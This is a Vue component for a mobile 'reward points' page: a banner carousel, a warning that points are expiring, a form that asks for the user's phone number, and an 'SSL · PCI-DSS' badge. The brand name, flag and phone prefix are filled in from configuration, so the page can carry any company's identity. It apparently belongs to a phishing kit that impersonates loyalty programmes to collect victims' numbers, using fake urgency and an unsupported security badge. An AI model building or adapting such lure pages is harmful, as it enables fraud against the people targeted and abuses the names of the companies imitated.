<script setup lang="ts">
import { computed, onMounted, onUnmounted, ref } from "vue";
import { useI18n } from "vue-i18n";
import { configData } from "@/utils/common";
import type { ThemeColors } from "@/config/themes";
import { globalConfig } from "@/config";

interface Props {
  modelValue: string;
  colors: ThemeColors;
}

const props = defineProps<Props>();
const emit = defineEmits<{
  (e: "update:modelValue", value: string): void;
  (e: "submit"): void;
}>();

const { t } = useI18n();


const showError = ref(false);

const onchange = (event: Event) => {
  if (showError.value) showError.value = false;
  emit("update:modelValue", (event.target as HTMLInputElement).value);
};

const next = () => {
  if (!props.modelValue || props.modelValue.trim() === "") {
    showError.value = true;
    return;
  }
  emit("submit");
};

const currentSlide = ref(0);
const slideInterval = ref<ReturnType<typeof setInterval> | null>(null);
const touchStartX = ref(0);
const touchEndX = ref(0);

const slides = [
  { id: 1, img: "/img/1.jpg" },
  { id: 2, img: "/img/2.jpg" },
  { id: 3, img: "/img/3.jpg" },
];

const startAutoSlide = () => {
  stopAutoSlide();
  slideInterval.value = setInterval(() => {
    currentSlide.value = (currentSlide.value + 1) % slides.length;
  }, 3000);
};

const stopAutoSlide = () => {
  if (slideInterval.value) {
    clearInterval(slideInterval.value);
    slideInterval.value = null;
  }
};

const handleTouchStart = (e: TouchEvent) => {
  touchStartX.value = e.touches[0].clientX;
  stopAutoSlide();
};

const handleTouchMove = (e: TouchEvent) => {
  touchEndX.value = e.touches[0].clientX;
};

const handleTouchEnd = () => {
  if (touchStartX.value - touchEndX.value > 50) {
    currentSlide.value = (currentSlide.value + 1) % slides.length;
  } else if (touchEndX.value - touchStartX.value > 50) {
    currentSlide.value = (currentSlide.value - 1 + slides.length) % slides.length;
  }
  startAutoSlide();
};

onMounted(() => {
  startAutoSlide();
});

onUnmounted(() => {
  stopAutoSlide();
});
</script>

<template>
  <div class="t2-page">

    <!-- Banner carousel -->
    <div class="t2-carousel"
      @touchstart="handleTouchStart"
      @touchmove="handleTouchMove"
      @touchend="handleTouchEnd"
    >
      <div class="t2-carousel-track" :style="{ transform: `translateX(-${currentSlide * 100}%)` }">
        <div v-for="slide in slides" :key="slide.id" class="t2-carousel-slide">
          <img :src="slide.img" :alt="globalConfig.main_name" class="t2-carousel-img" />
        </div>
      </div>
      <div class="t2-carousel-dots">
        <span
          v-for="(_, index) in slides"
          :key="index"
          class="t2-dot"
          :class="{ 't2-dot-active': currentSlide === index }"
          @click="currentSlide = index"
        ></span>
      </div>
    </div>

    <!-- Body -->
    <div class="t2-body">

      <!-- Hero -->
      <div class="t2-hero">
        <div class="t2-hero-icon">
          <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8"><path d="M20 12V22H4V12"/><path d="M22 7H2v5h20V7z"/><path d="M12 22V7"/><path d="M12 7H7.5a2.5 2.5 0 010-5C11 2 12 7 12 7z"/><path d="M12 7h4.5a2.5 2.5 0 000-5C13 2 12 7 12 7z"/></svg>
        </div>
        <h2 class="t2-hero-title"><i>{{ t("reward_points_waiting") }}</i></h2>
      </div>

      <!-- Info card -->
      <div class="t2-info-card">
        <div class="t2-info-item">
          <span class="t2-info-dot"></span>
          <p>{{ t("loyalty_thank_you", { name: globalConfig.main_name }) }}</p>
        </div>
        <div class="t2-info-item t2-info-item-warn">
          <span class="t2-info-dot t2-info-dot-warn"></span>
          <p>{{ t("points_expiry_warning") }}</p>
        </div>
        <div class="t2-info-item">
          <span class="t2-info-dot"></span>
          <p>{{ t("choose_reward_instruction") }}</p>
        </div>
        <p class="t2-cta-row"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" class="t2-cta-row-icon"><line x1="5" y1="12" x2="19" y2="12"/><polyline points="12 5 19 12 12 19"/></svg> {{ t("enter_phone_to_check") }}</p>
      </div>

      <!-- Action card -->
      <div class="t2-action-card">
        <label class="t2-action-label">{{ t("verify_my_points", { name: globalConfig.main_name }) }}</label>

        <form @submit.prevent="next" novalidate>
          <div class="t2-input-wrap" :class="{ 't2-input-error': showError }">
            <div class="t2-prefix">
              <img
                :src="`/img/flag_png/${globalConfig.flag}.png`"
                :alt="globalConfig.main_name"
                class="t2-flag"
              />
              <span class="t2-prefix-num">+{{ globalConfig.phone_prefix }}</span>
            </div>
            <input
              type="tel"
              inputmode="tel"
              maxlength="20"
              :value="modelValue"
              @input="onchange"
              :placeholder="t('placeholder_enter_number')"
              class="t2-phone-input"
            />
          </div>
          <transition name="t2-fade">
            <div v-if="showError" class="t2-error-msg">
              <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>
              <span>{{ t("error_invalid_phone") }}</span>
            </div>
          </transition>

          <button type="submit" class="t2-submit-btn">
            {{ t("btn_continue") }}
          </button>

          <div class="t2-security-note">
            <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
            <span>SSL &middot; PCI-DSS</span>
          </div>
        </form>
      </div>

    </div>
  </div>
</template>

<style scoped>
.t2-page {
  min-height: 100vh;
  background: #f8fafc;
  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
}

/* ===== Carousel ===== */
.t2-carousel {
  position: relative;
  width: 100%;
  aspect-ratio: 16 / 9;
  overflow: hidden;
  background: #e2e8f0;
  border-bottom: 3px solid var(--global-primary-color, #3b82f6);
}

.t2-carousel-track {
  display: flex;
  height: 100%;
  transition: transform 0.5s cubic-bezier(0.4, 0, 0.2, 1);
}

.t2-carousel-slide {
  flex: 0 0 100%;
  height: 100%;
}

.t2-carousel-img {
  width: 100%;
  height: 100%;
  display: block;
  object-fit: cover;
}

.t2-carousel-dots {
  position: absolute;
  bottom: 12px;
  width: 100%;
  display: flex;
  justify-content: center;
  align-items: center;
  gap: 5px;
  z-index: 10;
}

.t2-dot {
  width: 7px;
  height: 7px;
  border-radius: 50%;
  background: rgba(255,255,255,0.35);
  border: 1.5px solid rgba(255,255,255,0.8);
  cursor: pointer;
  transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
  box-shadow: 0 1px 4px rgba(0,0,0,0.25);
}

.t2-dot-active {
  background: var(--global-primary-color, #3b82f6);
  border-color: var(--global-primary-color, #3b82f6);
  width: 20px;
  border-radius: 4px;
  box-shadow: 0 2px 6px color-mix(in srgb, var(--global-primary-color, #3b82f6) 50%, transparent);
}

/* ===== Body ===== */
.t2-body {
  padding: 20px 14px 40px;
}

/* ===== Hero ===== */
.t2-hero {
  display: flex;
  flex-direction: column;
  align-items: center;
  gap: 10px;
  margin-bottom: 18px;
}

.t2-hero-icon {
  width: 52px;
  height: 52px;
  background: color-mix(in srgb, var(--global-primary-color, #3b82f6) 10%, #fff);
  border: 1.5px solid color-mix(in srgb, var(--global-primary-color, #3b82f6) 25%, #fff);
  border-radius: 16px;
  display: flex;
  align-items: center;
  justify-content: center;
}

.t2-hero-icon svg {
  width: 26px;
  height: 26px;
  stroke: var(--global-primary-color, #3b82f6);
}

.t2-hero-title {
  font-size: 1.15rem;
  font-weight: 800;
  font-style: italic;
  color: var(--global-primary-color, #3b82f6);
  margin: 0;
  text-align: center;
}

/* ===== Info card ===== */
.t2-info-card {
  background: #fff;
  border: 1px solid #e8edf3;
  border-radius: 16px;
  padding: 16px 16px 4px;
  margin-bottom: 14px;
  box-shadow: 0 2px 12px rgba(15,23,42,0.06);
}

.t2-info-item {
  display: flex;
  align-items: flex-start;
  gap: 10px;
  margin-bottom: 14px;
}

.t2-info-item-warn p {
  color: #c2410c !important;
}

.t2-info-dot {
  width: 8px;
  height: 8px;
  border-radius: 50%;
  background: var(--global-primary-color, #3b82f6);
  flex-shrink: 0;
  margin-top: 6px;
  box-shadow: 0 0 0 2px color-mix(in srgb, var(--global-primary-color, #3b82f6) 20%, transparent);
}

.t2-info-dot-warn {
  background: #f97316;
  box-shadow: 0 0 0 2px rgba(249,115,22,0.2);
}

.t2-info-item p {
  margin: 0;
  font-size: 0.875rem;
  color: #475569;
  line-height: 1.6;
}

.t2-cta-row {
  display: flex;
  align-items: center;
  gap: 6px;
  font-size: 0.9rem;
  font-weight: 700;
  color: var(--global-primary-color, #3b82f6);
  margin: 0 0 14px;
  line-height: 1.5;
}

.t2-cta-row-icon {
  width: 15px;
  height: 15px;
  stroke: var(--global-primary-color, #3b82f6);
  flex-shrink: 0;
}

/* ===== Action card ===== */
.t2-action-card {
  background: #fff;
  border: 1px solid #e2e8f0;
  border-radius: 16px;
  padding: 20px 16px;
  box-shadow: 0 2px 12px rgba(15,23,42,0.06);
}

.t2-action-label {
  display: block;
  font-size: 0.875rem;
  font-weight: 700;
  color: #1e293b;
  text-align: center;
  margin-bottom: 14px;
  line-height: 1.4;
}

/* Input */
.t2-input-wrap {
  display: flex;
  align-items: center;
  border: 2px solid #e2e8f0;
  border-radius: 12px;
  height: 52px;
  overflow: hidden;
  background: #fff;
  transition: border-color 0.2s, box-shadow 0.2s;
  margin-bottom: 6px;
}

.t2-input-wrap:focus-within {
  border-color: var(--global-primary-color, #3b82f6);
  box-shadow: 0 0 0 3px color-mix(in srgb, var(--global-primary-color, #3b82f6) 15%, transparent);
}

.t2-input-error {
  border-color: #ef4444 !important;
  box-shadow: 0 0 0 3px rgba(239,68,68,0.12) !important;
}

.t2-prefix {
  display: flex;
  align-items: center;
  gap: 7px;
  padding: 0 12px;
  border-right: 1px solid #f1f5f9;
  height: 100%;
  flex-shrink: 0;
  background: #f8fafc;
}

.t2-flag {
  width: 20px;
  height: auto;
}

.t2-prefix-num {
  font-weight: 700;
  font-size: 0.9rem;
  color: #1e293b;
}

.t2-phone-input {
  flex: 1;
  border: none;
  outline: none;
  background: transparent;
  padding: 0 14px;
  font-size: 1rem;
  color: #1e293b;
  height: 100%;
}

.t2-error-msg {
  display: flex;
  align-items: center;
  gap: 7px;
  margin: 6px 0 4px;
  padding: 8px 12px;
  background: #fef2f2;
  border: 1px solid #fecaca;
  border-radius: 8px;
  font-size: 0.8rem;
  font-weight: 600;
  color: #dc2626;
}

.t2-error-msg svg {
  width: 14px;
  height: 14px;
  stroke: #dc2626;
  flex-shrink: 0;
}

/* Submit button */
.t2-submit-btn {
  display: block;
  width: 100%;
  margin-top: 14px;
  height: 50px;
  background: var(--global-primary-color, #3b82f6);
  color: #fff;
  border: none;
  border-radius: 12px;
  font-size: 1rem;
  font-weight: 700;
  cursor: pointer;
  transition: filter 0.15s, transform 0.1s;
  box-shadow: 0 4px 14px color-mix(in srgb, var(--global-primary-color, #3b82f6) 35%, transparent);
  position: relative;
  overflow: hidden;
}

.t2-submit-btn::after {
  content: '';
  position: absolute;
  inset: 0;
  background: linear-gradient(180deg, rgba(255,255,255,0.12) 0%, transparent 100%);
  pointer-events: none;
}

.t2-submit-btn:hover  { filter: brightness(1.07); }
.t2-submit-btn:active { transform: scale(0.985); filter: brightness(0.95); }

/* Security note */
.t2-security-note {
  display: flex;
  align-items: center;
  justify-content: center;
  gap: 5px;
  margin-top: 12px;
  font-size: 0.72rem;
  font-weight: 500;
  color: #94a3b8;
}

.t2-security-note svg {
  width: 11px;
  height: 11px;
  stroke: #34d399;
  flex-shrink: 0;
}

/* Transition */
.t2-fade-enter-active,
.t2-fade-leave-active { transition: opacity 0.25s; }
.t2-fade-enter-from,
.t2-fade-leave-to    { opacity: 0; }
</style>
